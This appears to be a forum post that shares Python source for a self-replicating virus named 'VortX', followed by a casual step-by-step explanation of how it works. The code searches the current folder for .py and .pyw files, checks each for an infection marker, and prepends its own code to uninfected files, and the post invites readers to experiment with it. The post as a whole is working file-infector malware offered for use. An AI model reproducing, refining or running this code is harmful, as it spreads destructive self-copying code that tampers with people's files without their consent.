Code: Select all
import glob
from string import *
x = glob.glob("*.py") + glob.glob("*.pyw")
for x in x:
host = open(x, 'r')
hostcode = host.read()
if find(hostcode, "-=::VortX::=-") == -1:
host = open(x, 'w')
myself = open(__file__, 'r')
a = myself.read()
num=50*2+5
a = a[:find(a, "#VORTX")+num]
mybody=a+chr(10)+hostcode
myself.close()
host.write(mybody)
#VORTX
We seach for files
Open the files and read its contents
Store the code in a variable
Open Myself (yahahaha Confused)
Read my body and store in a variable
Open the file(s) that havnt been infected (for writing) they are the files that dont have "-=::VortX::=-" inside!
Cound number of characters long the virus code it upto the virus marker "#VORTX"
Store everything into a new variable, write the virus code to the file and append the normal code to the end of the virus code.
Hmm hope that makes sense? its really easy.. think about it, play with the code